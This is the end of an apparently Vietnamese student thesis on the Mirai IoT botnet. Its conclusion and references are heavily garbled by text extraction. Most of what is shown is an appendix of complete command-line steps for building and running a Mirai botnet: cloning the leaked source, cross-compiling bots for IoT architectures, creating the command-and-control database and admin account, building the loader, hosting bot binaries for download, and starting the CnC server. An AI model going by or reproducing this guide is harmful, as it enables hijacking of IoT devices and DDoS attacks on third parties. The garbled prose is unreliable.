ằ ướ ễ ủ ụ ữ ứ ỉ cũng đã ch  ra r ng ớ v i xu h ồ   ự ng và nh ng  ng d ng th c ti n c a IoT luôn t n

ạ ề ẩ ữ ể ể ố ớ ố t i nh ng m i nguy hi m ti m  n. Trong đó, m i nguy hi m l n và đang hot

ấ nh t là Botnet IoT.

ươ ươ ụ ể ơ ề ự ể ộ Ch ố ế ng 2 n i ti p ch ủ ấ   ng m t nói c  th  h n v  s  nguy hi m c a t n

ừ ố ị ụ ướ ử ụ ấ công t ch i d ch v  và xu h ng s  d ng Botnet IoT vào t n công DDoS đang là

ộ ấ ạ ỉ ươ ế ắ ạ kim ch  nam cho các cu c t n công m ng mà hacker đ ng đ i đang nh m đ n.

ươ ầ ượ ủ ầ ồ Ch ng 3 l n l

ờ ụ ể ồ ưở ủ ự ậ ỹ Đ ng th i c  th  hóa các k  thu t và ý t ấ t xem xét các thành ph n và c u trúc c a mã ngu n Mirai.   ả ng xây d ng Botnet Mirai c a tác gi

ự ữ ự ạ ỉ thông qua s  phân tích các đo n mã. Theo đó, s  phân tích đã ch  ra nh ng nh ượ   c

ữ ế ể ồ ượ ượ đi m còn thi u sót trong mã ngu n. Nh ng nh ể c đi m đ ượ ộ c l rõ đã đ c em

ụ ể ắ tri n khai kh c ph c.

ươ ự ệ ả ự ế ự Trong ch ng 4, th c nghi m đã mô t quá trình xây d ng th c t trên h ệ

ữ ố ụ ể ể ầ th ng và nh ng thi t b  th t

ồ ế ợ ể ể ươ ừ ơ ngu n, cách chúng k t h p và t ế ị ậ . Mô hình tri n khai đã c  th  hóa các thành ph n mã   ề ệ ng tác. T  đó, ai cũng có th  hi u rõ h n v  h

ệ ố ế ớ ố th ng Botnet Mirai nói riêng và h  th ng Botnet trên th  gi i nói chung.

ề ậ ẫ ướ ế ồ ớ ộ ố ấ Dù v y, v n còn m t s  v n đ  liên quan. Tr c h t, đ  án này m i ch  đ ỉ ề

ệ ử ụ ệ ứ ư ụ ế ỗ ổ ậ c p đ n vi c s  d ng bruteforce mà ch a đi sâu vào vi c  ng d ng l

ượ ố ể ế ị ủ ờ ư day, CVE đã đ c công b  đ  khai thác thi t b  IoT do ch a đ  th i gian đ h ng zero­ ể

ồ ủ ứ ả ộ ố ệ ế ị nghiên c u thêm. Mã ngu n c a tác gi có m t s  thi u sót trong vi c biên d ch

ế ỗ ẫ ề ả ố ắ ử ạ ỉ sang x86 d n đ n l i khi ch y trên n n t ng này. Dù em đã c  g ng ch nh s a và

ị ạ ư ư ệ ả ồ ạ ữ ể ế biên d ch l i nh ng ch a thành công. Vi c gi i quy t nh ng đi m t n t i này

ướ ể ươ ủ ồ cũng chính là h ng phát tri n t ng lai c a đ  án.

51

Ả Ệ TÀI LI U THAM KH O

[1]. GSM Accociation, IoT Security Guidelines Overview Document Version 1.1,

November 07, 2016

[2]. Mirai DDoS Botnet: Source Code & Binary Analysis,

http://www.simonroses.com/2016/10/mirai­ddos­botnet­source­code­binary­

analysis/

[3]. Octave Klaba, This botnet with 145607 cameras/dvr (1­30Mbps per IP) is able

to send >1.5Tbps DDoS. Type: tcp/ack, tcp/ack+psh, tcp/syn.“

[4]. Brian Krebs; Krebs on Security, 1.10.2016: „Source Code for IoT Botnet

‘Mirai’ Released“: https://krebsonsecurity.com/2016/10/source­code­for­iot­

botnet­mirai­released/

[5]. Word’s Largest Net: Mirai Botnet, https://hackforums.net/showthread.php?

tid=5420472

52

Ụ Ụ PH  L C

ướ ặ ệ ố Các b c cài đ t h  th ng Botnet Mirai:

#Update Sources.list in /etc/apt/sources.list

deb http://http.kali.org/kali kali­rolling main contrib non­free

deb­src http://http.kali.org/kali kali­rolling main contrib non­free

deb http://old.kali.org/kali sana main non­free contrib

deb­src http://old.kali.org/kali sana main non­free contrib

#Update Repo

apt­get update

#Requirements

apt­get install gcc golang electric­fence mysql­server mysql­client

#Git Clone Mirai Source Code

cd /home/mirai

mkdir ddos/

cd ddos/

apt­get install git

git clone https://github.com/jgamblin/Mirai­Source­Code.git

cd Mirai­Source­Code/mirai

export PATH=$PATH:/usr/local/go/bin

export GOPATH=/home/mirai/go

go get github.com/go­sql­driver/mysql

go get github.com/mattn/go­shellwords

mkdir /etc/xcompile

cd /etc/xcompile

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

armv4l.tar.bz2

wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross­compiler­

armv5l.tar.bz2

53

wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross­compiler­

armv6l.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

i586.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

m68k.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

mips.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

mipsel.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

powerpc.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

sh4.tar.bz2

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross­compiler­

sparc.tar.bz2

tar ­jxf cross­compiler­armv4l.tar.bz2

tar ­jxf cross­compiler­armv5l.tar.bz2

tar ­jxf cross­compiler­armv6l.tar.bz2

tar ­jxf cross­compiler­i586.tar.bz2

tar ­jxf cross­compiler­m68k.tar.bz2

tar ­jxf cross­compiler­mips.tar.bz2

tar ­jxf cross­compiler­mipsel.tar.bz2

tar ­jxf cross­compiler­powerpc.tar.bz2

tar ­jxf cross­compiler­sh4.tar.bz2

tar ­jxf cross­compiler­sparc.tar.bz2

rm *.tar.bz2

mv cross­compiler­armv4l armv4l

mv cross­compiler­armv5l armv5l

mv cross­compiler­armv6l armv6l

mv cross­compiler­i586 i586

54

mv cross­compiler­m68k m68k

mv cross­compiler­mips mips

mv cross­compiler­mipsel mipsel

mv cross­compiler­powerpc powerpc

mv cross­compiler­sh4 sh4

mv cross­compiler­sparc sparc

# PUT THESE COMMANDS IN THE FILE ~/.bashrc

# Cross compiler toolchains

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc­440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

# Golang

export PATH=$PATH:/usr/local/go/bin

export GOPATH=/home/mirai/go

cd /home/mirai/ddos/Mirai­Source­Code/mirai

./build.sh debug telnet

./build.sh debug telnet

./debug/enc string

edit file bot/table.c

vi bot/table.c

service mysql start

55

mysql ­u root

CREATE DATABASE mirai;

use mirai;

CREATE TABLE `history` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`user_id` int(10) unsigned NOT NULL,

`time_sent` int(10) unsigned NOT NULL,

`duration` int(10) unsigned NOT NULL,

`command` text NOT NULL,

`max_bots` int(11) DEFAULT '­1',

PRIMARY KEY (`id`),

KEY `user_id` (`user_id`)

);

CREATE TABLE `users` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`username` varchar(32) NOT NULL,

`password` varchar(32) NOT NULL,

`duration_limit` int(10) unsigned DEFAULT NULL,

`cooldown` int(10) unsigned NOT NULL,

`wrc` int(10) unsigned DEFAULT NULL,

`last_paid` int(10) unsigned NOT NULL,

`max_bots` int(11) DEFAULT '­1',

`admin` int(10) unsigned DEFAULT '0',

`intvl` int(10) unsigned DEFAULT '30',

`api_key` text,

PRIMARY KEY (`id`),

KEY `username` (`username`)

);

CREATE TABLE `whitelist` (

`id` int(10) unsigned NOT NULL AUTO_INCREMENT,

`prefix` varchar(16) DEFAULT NULL,

`netmask` tinyint(3) unsigned DEFAULT NULL,

PRIMARY KEY (`id`),

56

KEY `prefix` (`prefix`)

);

exit

mysqladmin ­u root password root

mysql ­u root ­p //dang nhap password mysql : root

GRANT ALL ON mirai.* TO 'root'@'127.0.0.1';

GRANT ALL ON mirai.* TO 'root'@'localhost';

use mirai;

INSERT INTO users VALUES (NULL, 'hacker', 'hacker', 0, 0, 0, 0, ­1, 1, 30, '');

exit

cd cnc/

leafpad main.go

password database : root

port 3306

cd ..

copy file prom.pt vao cnc

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc­440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

# Golang

export PATH=$PATH:/usr/local/go/bin

export GOPATH=/home/mirai/go

go get github.com/go­sql­driver/mysql

57

go get github.com/mattn/go­shellwords

./build.sh debug telnet

./build.sh release telnet

#dlr

cd /home/mirai/ddos/Mirai­Source­Code/dlr

edit main.c => IP HTTP Server

comment ./build.sh: line 3: i686­gcc: command not found

./build.sh: line 16: i686­strip: command not found

#DLR build

# apt­get update && apt­get upgrade

apt­get install build­essential

Replace i686­gcc with gcc, i686­strip with strip and try again

./build.sh

copy dlr vao bin cua loader

chmod 777 build.sh

export PATH=$PATH:/etc/xcompile/armv4l/bin

export PATH=$PATH:/etc/xcompile/armv5l/bin

export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/etc/xcompile/i586/bin

export PATH=$PATH:/etc/xcompile/m68k/bin

export PATH=$PATH:/etc/xcompile/mips/bin

export PATH=$PATH:/etc/xcompile/mipsel/bin

export PATH=$PATH:/etc/xcompile/powerpc/bin

export PATH=$PATH:/etc/xcompile/powerpc­440fp/bin

export PATH=$PATH:/etc/xcompile/sh4/bin

export PATH=$PATH:/etc/xcompile/sparc/bin

./build.sh

cd release/

cp * ../../loader/bins/

cd ../../loader/src/

58

leafpad main.c #edit tftp,wget,bind address

cd ..

./build.debug.sh

./build.sh

mkdir /var/www/html/bins

cd /home/mirai/ddos/Mirai­Source­Code/mirai/

cp ­R release/mirai.* /var/www/html/bins

cp ­R release/miraint.* /var/www/html/bins

cp prompt.txt release/

cd release/

./cnc

59